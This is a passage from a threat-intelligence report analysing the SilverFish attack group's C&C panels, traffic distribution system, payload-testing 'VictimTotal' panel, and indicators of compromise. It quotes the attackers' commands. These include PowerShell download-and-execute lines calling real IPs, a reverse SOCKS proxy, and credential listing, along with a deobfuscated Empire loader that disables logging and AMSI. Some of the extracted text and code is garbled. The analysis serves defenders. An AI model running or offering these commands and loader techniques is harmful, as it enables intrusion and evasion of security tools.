), ), //mes 'configs' => array( '567', ), ), //cyberbro client eu 'configs' => array( '522', ), ), ``` Another significant finding is that the C&C source code (within PHP files) statically contain nicknames and ID numbers of 14 people who most likely work under the supervision of 4 different teams. - 511:fingerlink - 513:cyberbro fingerlink - 514:vie new - 515:riki netsupport - 516:cyberbro netsupport - 520:infoshell - 521:riki2509 new hacker - 522:cyberbro client eu - 565:all local - 566:new hacker - 567:art - 567:mes - 576:g test - 577:walter The PTI Team linked some of these nicknames with profiles in different underground hacking forums.We present some of the interesting posts which correlates the nicknames with the malicious activities carried out by the SilverFish group.It should be noted that attribution using only nicknames can be misleading. ![](06eef9cc3970450903c158ec25346d21_img.jpg) {18}------------------------------------------------ ## 3.2 TDS Analysis During the subnet range scanning phase, the PTI Team also discovered a web panel working as a traffic distribution system(TDS) for the C&C servers.The TDS panel is used for distributing the victim callback traffic into multiple C&C servers and balancing the high amount of victim traffic [5].It also enables the SilverFish group to filter the incoming victims by country. ![Screenshot of the TDS dashboard page showing configuration for four TDS instances (ID:250, 251, 255, 259) with details on payload schemas, loader schemas, countries, and traffic statistics.](3468bcffa38de23cef94bfb460ccb301_img.jpg) The screenshot displays the TDS dashboard with four entries: - ID:250** - TDS schema:ok:SB Payload Domain (http) (clear & refresh):OK - Payload schema:landing 2 sol (302) v - Loader schema:rklman (500) - Country:NL,DE,GB,MX,FR,IT,ES,AU,PT,AT,DK - Status:OK (Green) - Comments:cyber brs 40 - Statistics: | DB Yesterday: | Yesterday: | Today: | |----------------------------------|----------------------------------|---------------------------------| | Total:7754 | Total:7650 | Total:6636 | | Good:7120 (92.21%) | Good:6985 (91.32%) | Good:5943 (89.56%) | | Landing:6754 (88.46%) | Landing:6555 (86.02%) | Landing:5523 (83.35%) | | Landing move:54438/104 (81.68%) | Landing move:52708/104 (81.61%) | Landing move:44495/10 (80.63%) | | Landing over:24738/104 (26.98%) | Landing over:23948/104 (36.38%) | Landing over:20385/10 (36.79%) | | Landing click:5386/104 (13.39%) | Landing click:4644/104 (13.13%) | Landing click:764/10 (13.85%) | - ID:251** - TDS schema:standard.safemsg.com (424) - Payload schema:landing 2 sol (302) v - Loader schema:rklman (500) - Country:US,CA,NL,DE,GB,MX,FR,IT,ES,AU,PT,AT,DK - Status:OK (Green) - Comments:new hacker 258820 - Statistics: | DB Yesterday: | Yesterday: | Today: | |--------------------------------|--------------------------------|------------------------------| | Total:223 | Total:225 | Total:178 | | Good:115 (49.36%) | Good:111 (48.47%) | Good:86 (48.31%) | | Landing:105 (46.20%) | Landing:104 (46.43%) | Landing:79 (43.82%) | | Landing move:99/108 (91.67%) | Landing move:85/104 (81.73%) | Landing move:67/78 (85.90%) | | Landing over:41/108 (27.96%) | Landing over:38/104 (24.42%) | Landing over:29/78 (24.46%) | | Landing click:16/108 (14.81%) | Landing click:12/104 (11.54%) | Landing click:4/78 (5.13%) | - ID:255** - TDS schema:champions.gtlc.org (431) - Payload schema:landing 2 sol (302) v - Loader schema:rklman (500) - Country:US,CA - Status:OK (Green) - Comments:cyber brs - Statistics: | DB Yesterday: | Yesterday: | Today: | |----------------------------------|----------------------------------|----------------------------------| | Total:4826 | Total:4846 | Total:3760 | | Good:4382 (88.72%) | Good:4284 (88.40%) | Good:3221 (85.66%) | | Landing:3951 (81.87%) | Landing:3985 (82.23%) | Landing:2944 (78.30%) | | Landing move:3214/3951 (81.35%) | Landing move:3088/3985 (82.51%) | Landing move:2429/2944 (82.52%) | | Landing over:1204/3951 (30.45%) | Landing over:1383/3985 (34.69%) | Landing over:1050/2944 (35.36%) | | Landing click:504/3951 (12.76%) | Landing click:511/3985 (12.82%) | Landing click:386/2944 (13.11%) | - ID:259** - TDS schema:flowers.netplusplans.com (428) - Payload schema:landing 2 sol (302) v - Loader schema:rklman (500) - Country:US,CA,NL,DE,GB,MX,FR,IT,ES,AU,PT,AT,DK - Status:OK (Green) - Comments:OK (Green) - Statistics: | DB Yesterday: | Yesterday: | Today: | |------------------------------|--------------------------------|--------------------------------| | Total:1242 | Total:1263 | Total:1082 | | Good:724 (58.34%) | Good:740 (58.64%) | Good:551 (51.11%) | | Landing:673 (54.23%) | Landing:738 (58.39%) | Landing:551 (51.11%) | | Landing move:673/673 (100%) | Landing move:500/738 (67.89%) | Landing move:451/551 (81.85%) | Screenshot of the TDS dashboard page showing configuration for four TDS instances (ID:250, 251, 255, 259) with details on payload schemas, loader schemas, countries, and traffic statistics. Figure 17.TDS dashboard page During the PTI Team investigation, the SilverFish TDS web panel was configured to accept victims from the following countries. - USA - Canada - Netherlands - Germany - England - Mexico - France - Italy - Spain - Australia - Portugal - Austria - Denmark The list of proxy domains used for bouncing victim traffic before reaching the C&C server are listed in the IOC section 6.2 of this report. {19}------------------------------------------------ {20}------------------------------------------------ | Occurance | Command | Explanation | |-----------|-----------------------------------|----------------------------------------------------------------------------------------------| | 2880 | nltest/dclist: | Lists all domain controllers in the domain. | | 2283 | nltest/domain_trusts | Returns a list of trusted domains. | | 1547 | cmdkey/list | Displays the list of stored user names and credentials. | | 670 | net group "domain admins"/domain | Lists domain admin users. | | 537 | dir c:\programdata | Prints the contents of "programdata" directory (used for enumerating the installed software) | | 206 | powershell -nop -enc %Trimmed...% | Executes the BASE64 encoded powershell command/script. | As seen in the above table, the first course of action is to enumerate the victim domain.After listing the domain controllers and the trust relationship between the domains, the SilverFish group usually focuses on enumerating the infected device itself. ![Screenshot of a network tool interface showing system details and a list of executed commands.A red arrow points to a command in the list.](79cb7fa0e9c78ec5cd0b0de977824f8d_img.jpg) The figure shows a network tool interface.At the top, it displays user information:username:admin, logout, current time:14:54:49 08.03.2021, and links for REFRESH and file list.Below this is a detailed system profile table including Bot status (offline), Comment (edu), ID (1004), UUID, Instance (a725bd), IP, Country (US), Domain/User@Computer, OS (Microsoft Windows 10 Enterprise), Build (17134 - Redstone 4 (RS4)), Architecture (AMD64), Antivirus (AS=Windows Defender;McAfee Endpoint Security; AV=Windows Defender;McAfee Endpoint Security; Is Admin:no), Integrity Level:MEDIUM, UAC Setting:always notify, Consent/PromptBehaviorAdmin:2 (consent, no credentials), PromptOnSecureDesktop:1, First visit:14:33:07 23.10.2020, and Last visit:15:46:43 23.10.2020. Below the system profile is a table titled 'Add new task:Spawn new shell session (port 443)'.It lists four executed commands: | ID | Type | Created | Executed | Result | Content | |------|-------------|---------------------|---------------------|-----------------|-------------------------| | 3528 | execute_cmd | 15:36:13 23.10.2020 | 15:36:15 23.10.2020 | see 10 bytes | "cmd":"nltest/dclist" | | 3529 | execute_cmd | 15:36:23 23.10.2020 | 15:36:31 23.10.2020 | see 1273 bytes | "cmd":"nltest/dclist" | | 3530 | execute_cmd | 15:36:52 23.10.2020 | 15:37:02 23.10.2020 | see 11101 bytes | "cmd":"cmdkey/list" | A red arrow points from the top right towards the 'Content' column of the table, specifically highlighting the command 'cmdkey/list' in the last row, which is also enclosed in a red box. Screenshot of a network tool interface showing system details and a list of executed commands.A red arrow points to a command in the list. **Figure 19.Frequently used commands for enumeration** Among the executed commands there are multiple occurrences of external script execution using the **WebClient.DownloadString** method.Some of the executed scripts are well-known post-exploitation scripts such as PowerShellEmpire , Powertools [4], Invoke-SocksProxy [15], and Mimikatz [7].Unfortunately the PTI Team could not obtain the rest of the files downloaded with this method. ![Screenshot of a network tool interface showing a list of executed commands.One command is highlighted.](812b773680b611c18d49243e102b895a_img.jpg) The figure shows a network tool interface with a table titled 'Add new task:Spawn new shell session (port 443)'.It lists one executed command: | ID | Type | Created | Executed | Result/Content | |-------|-------------|---------------------|---------------------|-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | 14346 | execute_cmd | 17:27:32 05.03.2021 | 17:27:32 05.03.2021 | "cmd":"wmiic/node/localhost\process call create\powershell -windowstyle hidden -nop -exec bypass -c IEX (New-Object Net.WebClient).DownloadString('http://105.41.220.214:80/Invoke-SocksProxy.ps1'); Invoke-ReverseSocksProxy -remotePort 143 -remoteHost 185.43.220.214 -threads 400(*)" | Screenshot of a network tool interface showing a list of executed commands.One command is highlighted. **Figure 20.Frequently used commands for enumeration** All the addresses of external scripts downloaded via the **WebClient.DownloadString** method can be accessed from the Section 6.10. {21}------------------------------------------------ During the investigation of executed commands, the PTI Team noticed that the IP addresses used for downloading post-exploitation scripts also matched the characteristics of the initial **databasegalore.com** domain used for fingerprinting the SilverFish infrastructure.The IP was serving the same bootstrap theme on port 80 and PowerMTA service on port 9897 (see in Figure 21). ![Figure 21:A screenshot of a network packet capture tool showing a list of executed commands and their corresponding file paths.The commands include 'execute_cmd', 'upload_file_programdata', and 'new_bot_instance'.The file paths point to various locations on a Windows system, such as 'c:\Program Files' and 'c:\ProgramData'.A red arrow points from the 'new_bot_instance' command to a URL in a web browser window below the packet capture.The URL is 'http://176.10.118.136:80/pwrvtw.ppt'.The web browser window shows a 'WELCOME TO 176.10.118.136' page with a 'FIND OUT MORE' button.The IP address '176.10.118.136' is also visible in the top left corner of the browser window.](7f687094e6abe34a9cf491942b296d9a_img.jpg) | No. | Time | Source | Destination | Length | Protocol | Info | |------|------------------------|------------------------|--------------------|--------|----------|-------------------------------------------------------------------------------------------------------------------------------------| | 6408 | 10:08:52
26.01.2021 | 10.09.02
26.01.2021 | see 11680
bytes | | | {'cmd':'dir V:\program files(*)'} | | 6409 | 10:09:15
26.01.2021 | 10.09.17
26.01.2021 | see 11717
bytes | | | {'cmd':'dir V:\program files (x86)\(*)'} | | 6499 | 11:12:04
26.01.2021 | 11:12:08
26.01.2021 | | | | {'file_id':'108'} | | 6501 | 11:12:16
26.01.2021 | 11:12:25
26.01.2021 | | | | {'file_id':'109'} | | 6503 | 11:12:54
26.01.2021 | 11:12:56
26.01.2021 | see 1167
bytes | | | {'cmd':'dir V:\ProgramData\(*)'} | | 6505 | 11:13:27
26.01.2021 | 11:13:27
26.01.2021 | see 10 bytes | | | {'cmd':'c:\ProgramData\zertozent.exe'} | | 6507 | 11:13:55
26.01.2021 | 11:14:02
26.01.2021 | see 1167
bytes | | | {'cmd':'dir V:\ProgramData\(*)'} | | 6510 | 11:14:31
26.01.2021 | 11:14:33
26.01.2021 | | | | {'file_id':'109'} | | 6512 | 11:15:40
26.01.2021 | 11:15:50
26.01.2021 | see 10 bytes | | | {'cmd':'del c:\ProgramData\zertozent.exe'} | | 6514 | 11:15:55
26.01.2021 | 11:16:05
26.01.2021 | see 10 bytes | | | {'cmd':'del c:\ProgramData\JEShim.dll'} | | 6515 | 11:16:01
26.01.2021 | 11:16:21
26.01.2021 | see 1117
bytes | | | {'cmd':'dir V:\ProgramData\(*)'} | | 6600 | 13:22:44
26.01.2021 | 13:22:52
26.01.2021 | 11 | | | {'cmd':'cmd/c powershell -nop -exec bypass -iEX (New-Object Net.WebClient).DownloadString("http://176.10.118.136:80/pwrvtw.ppt")'} | | 6689 | 16:06:53
27.01.2021 | 16:06:55
27.01.2021 | see 10 bytes | | | {'cmd':'cmd/c powershell -nop -exec bypass -iEX (New-Object Net.WebClient).DownloadString("http://176.10.118.136:80/pwrvtw.ppt")'} | Figure 21:A screenshot of a network packet capture tool showing a list of executed commands and their corresponding file paths.The commands include 'execute\_cmd', 'upload\_file\_programdata', and 'new\_bot\_instance'.The file paths point to various locations on a Windows system, such as 'c:\Program Files' and 'c:\ProgramData'.A red arrow points from the 'new\_bot\_instance' command to a URL in a web browser window below the packet capture.The URL is 'http://176.10.118.136:80/pwrvtw.ppt'.The web browser window shows a 'WELCOME TO 176.10.118.136' page with a 'FIND OUT MORE' button.The IP address '176.10.118.136' is also visible in the top left corner of the browser window. Figure 21.IP within C&C linking back to another server with the same fingerprint ### 3.3.1 Koadic Agents One of the other post-exploitation tools used by the SilverFish group is the publicly known Koadic project [24]. **Analyst Note:** According to Koadic author "Koadic, or COM Command & Control, is a Windows post-exploitation rootkit similar to other penetration testing tools such as Meterpreter and Powershell Empire.The major difference is that Koadic does most of its operations using Windows Script Host (a.k.a.JScript/VBScript), with compatibility in the core to support a default installation of Windows 2000 with no service packs (and potentially even versions of NT4) through Windows 10." {22}------------------------------------------------ {23}------------------------------------------------ ### 3.3.2 Sarasota Script The PTI Team was also able to discover another novel enumeration script used frequently by the SilverFish group.The initiating function of the script is named **Sarasota** and was most probably written by the SilverFish group.The encoded form of Sarasota script in the following image was executed on more than 200 victims' machines. | Add new task:spawn new shell session (just x64) | | | | | |---------------------------------------------------------------|-------------|------------------------|------------------------|---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------| | ID | Type | Created | Executed | Result/Content | | 4591 | execute_cmd | 16:47:52
17.12.2020 | 16:48:04
17.12.2020 | see
1238
bytes
'(cmd:"nlshtest (vclint.)") | | 4592 | execute_cmd | 16:47:57
17.12.2020 | 16:48:20
17.12.2020 | see
1133
bytes
'(cmd:"nlshtest (vdomain_trusts')") | | 4593 | execute_cmd | 16:48:01
17.12.2020 | 16:48:36
17.12.2020 | see
629
bytes
'(cmd:"cmdkey vlist')") | | 4594 | execute_cmd | 16:49:25
17.12.2020 | 16:49:38
17.12.2020 | see
1218
bytes
'(cmd:"powershell -nop -enc
XABOAGUAdwAAERAYgBKAGUAYwBUACAAcWBSAFMAVAFAG0ALgBjAEIRALgBjAGBAGBQBAHARQBzAHMAaQBAAGALgBBAEUAUgBMBAGEAVABIAFMAdABYAGUAYQBNAgAL | Figure 24.Sarasota script execution task on C&C The decoded contents of the Sarasota script contains functions for searching domain objects in the domain active directory structure.This allows the SilverFish group to find any type of file or folder stored inside a target domain active directory.The script includes several parameters for searching the domain objects.It is able to enumerate the printers inside the domain and computers with unconstrained delegation before performing the search.Moreover, it is able to filter computers with specific SPNs, operating systems, service packs and server references.Sarasota script is also able to run with or without valid domain credentials. ``` else { if ($Domain -and ($Domain.Trim() -ne "")) { $DN = "DC= $($Domain.Replace('.', ',DC='))" } } $SearchString += $DN Write-Verbose "Get-DomainSearcher search string:$SearchString" if ($Credential) { Write-Verbose "Using alternate credentials for LDAP connection" $DomainObject = New-Object DirectoryServices.DirectoryEntry($SearchString, $Credential.UserName, $Credential.GetNetworkCredential().Password) $Searcher = New-Object System.DirectoryServices.DirectorySearcher($DomainObject) } else { $Searcher = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$SearchString) } $Searcher.PageSize = $PageSize $Searcher.CacheResults = $False $Searcher ``` ![An arrow pointing to the line '$SearchString += $DN' in the code block, with the text 'PREPARED SEARCH QUERY' written above it in red.](082ba09313df59d76a7bfbdde8ec877d_img.jpg) An arrow pointing to the line '\$SearchString +=\$DN' in the code block, with the text 'PREPARED SEARCH QUERY' written above it in red. Figure 25.Sarasota DirectorySearcher code Some of the Sarasota filter parameters used by the SilverFish group are listed below. - Sarasota -operatingsystem\*server\* -Domaincontroller\*\*\* - Sarasota -operatingsystem\*2003\* - Sarasota -operatingsystem\*server\* » C:\programdata\srv.txt {24}------------------------------------------------ {25}------------------------------------------------ One of the Cobalt Strike beacons used by the SilverFish group directly connected to the address **tanzaniafisheries.com** without using the domain fronting technique.That particular Cobalt Strike beacon was deployed to more than 20 victims with file name **ms6543223.csproj** 6.1 and executed with the command in the following image. | | | | | | |-----|-------------------------|------------------------|------------------------|-------------------------------------------------------------------------------------------------------| | 392 | upload_file_programdata | 12:31:32
04.09.2020 | 12:31:40
04.09.2020 | {} | | 393 | execute_cmd | 12:32:06
04.09.2020 | 12:32:09
04.09.2020 | "cmd":"C:\(Windows)\Microsoft.NET\Framework64\4.0.30319\msbuild.exe c:\programdata\ms6543223.csproj" | Figure 27.Victim task command executing ms6543223.csproj file **Analyst Note:** msbuild.exe utility and.csproj files are frequently used to load shellcode in red teaming engagements. ![Diagram showing domain fronting architecture.A Victim PC connects to a Trusted Website (video.oracle.com, cdn.audior adobe.com) which is hosted on a CDN.The CDN also hosts an Attacker Controlled CDN Worker (twing-us.azureedge.net, d3serbacl7ozp.cloudfront.net).The Victim PC also connects to a C&C Server.The diagram illustrates how the CDN worker acts as a proxy for the victim's traffic.](392a79ccd95e682ccd08f35ab2e64144_img.jpg) Diagram showing domain fronting architecture.A Victim PC connects to a Trusted Website (video.oracle.com, cdn.audior adobe.com) which is hosted on a CDN.The CDN also hosts an Attacker Controlled CDN Worker (twing-us.azureedge.net, d3serbacl7ozp.cloudfront.net).The Victim PC also connects to a C&C Server.The diagram illustrates how the CDN worker acts as a proxy for the victim's traffic. Figure 28.Domain fronting used by SilverFish group frequently Besides the domain fronting method, the SilverFish group uses the "malleable C2 profile" features of Cobalt Strike.The following image shows the Cobalt Strike beacon shellcode emulation results, fronted domain, and actual host value.The chosen malleable C2 profile [22] artifacts can easily be identified. ![Screenshot of a terminal window showing decoded Cobalt Strike beacon shellcode emulation.The output is a hex dump of the shellcode.Several red arrows point to specific sections of the code:one to a URL 'd3serbacl7ozp.cloudfront.net' labeled 'DOMAIN FRONTING C&C HOST', and another to a section containing 'MALLABLE C2 PROFILE ARTIFACTS'.](9887cf85c05205c57271d28ecc108b32_img.jpg) Screenshot of a terminal window showing decoded Cobalt Strike beacon shellcode emulation.The output is a hex dump of the shellcode.Several red arrows point to specific sections of the code:one to a URL 'd3serbacl7ozp.cloudfront.net' labeled 'DOMAIN FRONTING C&C HOST', and another to a section containing 'MALLABLE C2 PROFILE ARTIFACTS'. Figure 29.Decoded Cobalt Strike beacon shellcode emulation {26}------------------------------------------------ The PTI Team was able to analyze one of the Empire agents used by the SilverFish group.As with Cobalt Strike beacons, Empire agent loaders are executed with encoded and compressed Powershell commands.After de-obfuscating the Empire agent loader, the PTI Team extracted the C&C address. ``` If($PSVERSIONTABLE.PSVERSION.Major -ge 3){ $822=[Ref].ASSEMBLY.GetType('System.Management.Automation.Utils')."GETFIELD"('cachedGroupPolicySettings','N'+ 'onPublic,Static'); If($822){ $191=$822.GetValue($Null); If($191["ScriptB" + 'lockLogging']){ $191["ScriptB" + 'lockLogging'] ['EnableScriptB' + 'lockLogging']=0; $191["ScriptB" + 'lockLogging'] ['EnableScriptBlockInvocationLogging']=0 } $VAL=[COLLECTIONS.GENERIC.DICTIONARY[StrIng, System.Object]]::New(); $VAL.Add('EnableScriptB' + 'lockLogging',0); $VAL.Add('EnableScriptBlockInvocationLogging',0); $191["KEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\PowerShell\ScriptB" + 'lockLogging"]=$VAL } } Else{ [SCRIPTBLOCK]."GETFIELD"('signatures','N'+ 'onPublic,Static').SETVALUE($Null,(New-Object COLLECTIONS.GENERIC.HASHSET[StrIng])) } $Ref=[Ref].ASSEMBLY.GetType('System.Management.Automation.Amsi'+ 'Utils'); $Ref.GetFIELD('amsiInitF' + 'iled','NonPublic,Static').SETVALUE($Null,$Ref); }; [SYSTEM.NET.SERVICEPOINTMANAGER]::EXPECT100CONTINUE=0; $566=NEW-OBJECT System.Net.WEBCLIENT; $u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko'; [System.Net.ServicePointManager]::ServerCertificateValidationCallback = $true; $ser=$([Text.Encoding]::UNICODE.GetString([CONVERT]::FromBase64String('aAB0AHQACABzADoALwA VADEANA5AC4AYQAIADQALgAxADUANwAuADIANAA4ADoANAABADMA'))); $te='/admin/get.php'; $566.Headers.Add('User-Agent',$u); $566.Proxy=[SYSTEM.NET.WebRequest]::DEFAULTWEBPROXY; $566.Proxy.Credentials = [System.Net.CREDENTIALS]::DEFAULTNETWORKCREDENTIALS; $566.Proxy = $566.Proxy; $K=[SYSTEM.TEXT.ENCODING]::ASCII.GetBytes('CbtXg/_>[ 6T~u[X]VEe:jqLIZ4[5C7']); $R= $D,$K,$ArgS; $S=0..255;0..255[%{ $J=($J+$S]+$K.COUNT)%256; $S[$J],$S[$J]=$S[$J],$S[$J] }; $D[%{ $I=($I+$J)%256; $H=($H+$S[$I])%256; $S[$I],$S[$H]=$S[$H],$S[$I]; $ _Bxor$S(($S[$I]+$S[$H])%256) } } ``` ![A red arrow pointing from the URL https://149.154.157.248:443 to a red rectangular box highlighting a base64 string in the PowerShell code.](537621e5080a52b8b7b39881b862f198_img.jpg) A red arrow pointing from the URL https://149.154.157.248:443 to a red rectangular box highlighting a base64 string in the PowerShell code. Figure 30.Decoded Empire agent code ## 3.4 VictimTotal Sandbox One of the most shocking discoveries of the PTI Team was a web panel for testing the malicious payloads over a list of actual victim devices with enterprise EDR and AV solutions.The SilverFish attackers were using this system to periodically test their malicious payloads on more than 6000 victim devices, scripts, and implants.The following images (Figure 31, 32) contain the list of victims with various different enterprise security solutions.The top section includes brief information about the malicious file that is being scanned periodically and at the right-most column there are scanning results gathered from the security solutions of victims' devices. {27}------------------------------------------------ ![](abc0eb594f9d2c0daa0e60df05f2a666_img.jpg) Thread ID:515 Routes:500:default, 501:default File Name:buildus9\_3.ps1 File Size:5291550 bytes File MD5:7982b08be78ee4136efd89b06941f75c File Uploaded:18:28:09 09.03.2021 (7 days, 4 hours, 30 minutes, 33 seconds ago) Static AV Filter:/Kaspersky|ZoneAlarm|ALYac|FortiClient|Zillya|Fortinet|BitDefender|DrWeb|Eset|Emsisoft|CrowdStrike|CbDefense/ 550-600 loaders: | Country | Time | OS | Arch | AV (w/o Windows Defender) | Success | Error text | |---------|------------------|-------------|------|----------------------------------------------------------------|---------|------------| | US | 10.03.2021 15:33 | WIN 10 | 0 | | OK | - | | US | 10.03.2021 15:33 | WIN 10 | 0 | Malwarebytes | OK | - | | US | 10.03.2021 15:26 | WIN 10 | 0 | | OK | - | | US | 10.03.2021 15:13 | WIN 10 | 0 | Sophos Anti-Virus | OK | - | | US | 10.03.2021 14:37 | WIN 10 | 0 | | OK | - | | US | 10.03.2021 14:35 | WIN 10 | 0 | Norton Security | OK | - | | US | 10.03.2021 14:27 | WIN 10 | 0 | | OK | - | | US | 10.03.2021 14:20 | WIN 10 | 0 | | OK | - | | CA | 10.03.2021 14:09 | WIN 10 | 0 | CrowdStrike Falcon Sensor | ERROR | AV | | CA | 10.03.2021 13:51 | WIN 7/S08r2 | 0 | Symantec Endpoint Protection CbDefense | ERROR | AV | | US | 10.03.2021 12:55 | WIN 10 | 0 | VIPRE Business Agent ThreatTrack Security VIPRE Business Agent | OK | - | Figure 31.VictimTotal Sandbox testing a given sample compiled for the US targets ![](6fc99b56d4021cf515d190c3a0da183f_img.jpg) Thread ID:521 Routes:500:NL DE GB MX FR IT ES AU PT AT DK File Name:build\_eu.ps1 File Size:5291550 bytes File MD5:f43f16e900ed0c70062951d226081b8e File Uploaded:18:27:55 09.03.2021 (7 days, 4 hours, 30 minutes, 48 seconds ago) 800-850 loaders: | Country | Time | OS | Arch | AV (w/o Windows Defender) | Success | Error text | |---------|------------------|-------------|------|-----------------------------------------------|---------|------------| | AU | 11.03.2021 06:33 | WIN 10 | 0 | Avira Antivirus | OK | - | | MX | 11.03.2021 06:19 | WIN 10 | 0 | | OK | - | | AU | 11.03.2021 06:13 | WIN 10 | 0 | McAfee VirusScan Malwarebytes | OK | - | | AU | 11.03.2021 06:11 | WIN 10 | 0 | | OK | - | | AU | 11.03.2021 06:02 | WIN 7/S08r2 | 0 | Norton Internet Security | OK | - | | MX | 11.03.2021 05:46 | WIN 7/S08r2 | 0 | Microsoft Security Essentials Avast Antivirus | OK | - | | AU | 11.03.2021 05:28 | WIN 10 | 0 | Trend Micro Maximum Security | OK | - | | MX | 11.03.2021 05:20 | WIN 10 | 0 | | OK | - | | AU | 11.03.2021 05:00 | WIN 10 | 0 | | OK | - | | AU | 11.03.2021 04:50 | WIN 10 | 0 | | OK | - | | MX | 11.03.2021 04:22 | WIN 7/S08r2 | 0 | | OK | - | Figure 32.VictimTotal Sandbox testing a given sample compiled for EU targets If the uploaded file gets a different detection result, the website notifies the logged-in user.This feature indicates that SilverFish group members are tracking the detection rate of their payloads in real time.The PTI Team also noticed two payloads uploaded to the file detection sandbox panel, one of which is named **buildus9\_3.ps1** (Figure 31) and other **build\_eu.ps1** (Figure 32).This could mean that the SilverFish group is targeting the US and EU with specially crafted payloads. The following table contains the MD5 hashes of the files that are uploaded for periodical detection checking. | File Name | MD5 Hash | |----------------|----------------------------------| | build_eu.ps1 | f43f16e900ed0c70062951d226081b8e | | buildus9_3.ps1 | 7982b08be78ee4136efd89b06941f75c | {28}------------------------------------------------ {29}------------------------------------------------ {30}------------------------------------------------ ## 3.5 Topology During the PTI Team investigation, one of the detected command and control panels of the SilverFish group was **188.120.239.154**, which was hosted in Russia with AS Label "JSC The First".The second C&C address was **130.0.235.92** and the IP was registered to Ukraine with A.S.label "ITL LLC".Both IP addresses are registered to a domain. In contrast to traditional attacks that use a domain name purchased via means of anonymous payments, SilverFish is using hacked domains for redirecting traffic to their command and control panel.We observed 10-year old legitimate domain names used in their operation.To avoid disrupting the legitimate traffic of the website, the SilverFish group is creating new subdomains which makes it almost impossible for an unattended website owner to understand that their domain is being exploited in the attacks.The analysis made on the C&C servers, revealed that the SilverFish group is found to be filtering out the victims from commonwealth of independent states(CIS).Following image displays the source code of the traffic distribution system(TDS), which is explained in section 3.2 in detail. ``` MD5:00508a83887515a19292a194d3715ed8 | | SHA1:938a7622a3a80d1d721eb090d90a9dcfc4d37047 | | SHA256:3cae987fd99950a299b690a1e03a09a15adc9eb556f7f2901afd3bc06719f4db | | | |----------------------------------------------------------------------------------| | MD5:5fca543d44c6a8a07a22adc4dec6ff6a | | SHA1:9401b5f30b6c20a42c69135fe189ae2cd2037224 | | SHA256:e6ff50bdcc7b57fbc52ab203470fa388487bf92412c59b2678d57dde701ba985 | | | |----------------------------------------------------------------------------------| | MD5:7982b08be78ee4136efd89b06941f75c | | SHA1:10459c6ac3e90b1881aaea002cbeccfc56db51f1 | | SHA256:c418acbe45ccaa7e66eb9db8fd595a89c8215c9ac5e2d151dd3389641e81b50a | | | |----------------------------------------------------------------------------------| | MD5:f43f16e900ed0c70062951d226081b8e | | SHA1:a40e93621562911c5b68e959cc228de85c131a70 | | SHA256:67ff5c5fd19b23fb92cb0a395c9e12729c3a31ae21b44bfccde671f84e18f9c5 | | | |----------------------------------------------------------------------------------| | MD5:7982b08be78ee4136efd89b06941f75c | | SHA1:10459c6ac3e90b1881aaea002cbeccfc56db51f1 | | SHA256:c418acbe45ccaa7e66eb9db8fd595a89c8215c9ac5e2d151dd3389641e81b50a | | | |----------------------------------------------------------------------------------| | MD5:59ded2a30e2c52a27693efaa3415c1f6 | | SHA1:5140f683154442e56ae23d945d75d706ea05812c | | SHA256:dbe2d877924c7b650d380d86cb46bf5d91a44ba03f30f6eee93c621c23a852f9 | | | |----------------------------------------------------------------------------------| | MD5:fda4ea4fb85d7fe9e76f71cd4cfc994d | | SHA1:12fdd2372e3f9e97c2c833a0f6198b80253cf642 | | SHA256:3aff515be9c17e3e6a46e891e10a2e807e9595111049b1d7c229e1f920b680c0 | | | |----------------------------------------------------------------------------------| | MD5:83c936617b23f53bb23754ad5c6a9f1c | | SHA1:6ac3c7e6394807ec79db553bdf2fe165786699f7 | | SHA256:0afcd12924eed83f0e3f33c51a0766849df661ea2220b4a919297b0ef742b7c3 | | | |----------------------------------------------------------------------------------| | MD5:a85729de023b9a193212edae5c967a54 | | SHA1:415fc0c77ec428b340adce386859bb78a74c1419 | | SHA256:d5c4d94bb747555921469eff6a3660456d0c048c735de4bb9099c303d713e73e | {41}------------------------------------------------ | | |-----------------------------------------------| | MD5:53f21e00977b48eedd5b256be975d676 | |-----------------------------------------------| | | |--------------------------------------------------------| | SHA1:70db5f335df4b63908ba5b634c01dae3be33ea82 | |--------------------------------------------------------| | | |----------------------------------------------------------------------------------| | SHA256:61d50f4a45cde3234e612016fb6816b47ebf4b6644b759365ffd53eb6bb1e5e7 | |----------------------------------------------------------------------------------| | | |-----------------------------------------------| | MD5:b0383e3a083f6832f332b92ca486346e | |-----------------------------------------------| | | |--------------------------------------------------------| | SHA1:c243dc2571e60ab643c6c46d32dc9565b9b30fff | |--------------------------------------------------------| | | |----------------------------------------------------------------------------------| | SHA256:4d4f0eb982a52768e1195e4632a0de4f2671c99cd2ce2acbca6442de5f25251e | |----------------------------------------------------------------------------------| | | |---------------------------------------------| | MD5:51ad700ff2b66711bd3c61e56ce8dd | |---------------------------------------------| | | |-------------------------------------------------------| | SHA1:1694771d42771aebb8746bd0c3fb4a5e6a70c95 | |-------------------------------------------------------| | | |-----------------------------------------------------------------------------------| | SHA256:24d1bd110c0bf7f21f75c9e99ddbb29bd0cfefbf5577b4202d35e4ffe36477de6 | |-----------------------------------------------------------------------------------| | | |-----------------------------------------------| | MD5:c303573c8041dd0d1e2051b66d5d6e26 | |-----------------------------------------------| | | |--------------------------------------------------------| | SHA1:cd5f39aa95ea31f4bf6e7976bc1644fa3101909e | |--------------------------------------------------------| | | |----------------------------------------------------------------------------------| | SHA256:7cfb684fb46e9b66881d213fa212a39b770a7820c627c7ce2073d397dead9430 | |----------------------------------------------------------------------------------| | | |-----------------------------------------------| | MD5:1b8bb45287703922c8567dda1b33816b | |-----------------------------------------------| | | |--------------------------------------------------------| | SHA1:8f4a86c33991d672575d13a2bc2020f9cd3353f2 | |--------------------------------------------------------| | | |----------------------------------------------------------------------------------| | SHA256:59a779046e32940c08f4c723143134a1b14d6855de3482e8503fca47aea9413e | |----------------------------------------------------------------------------------| | | |-----------------------------------------------| | MD5:19bb39a9d2ffce5d52cb8e19ef51591c | |-----------------------------------------------| | | |-------------------------------------------------------| | SHA1:11dfcf4b0bcaa1402f15ed41cd3f4a7fdcfb267 | |-------------------------------------------------------| | | |----------------------------------------------------------------------------------| | SHA256:65226d59bb790120af2ad70d48736a8a223f6122d6ee5dd6b48bd5c47ff94b0b | |----------------------------------------------------------------------------------| | | |-----------------------------------------------| | MD5:9e519b284c528648ef326bf75cdc41e6 | |-----------------------------------------------| | | 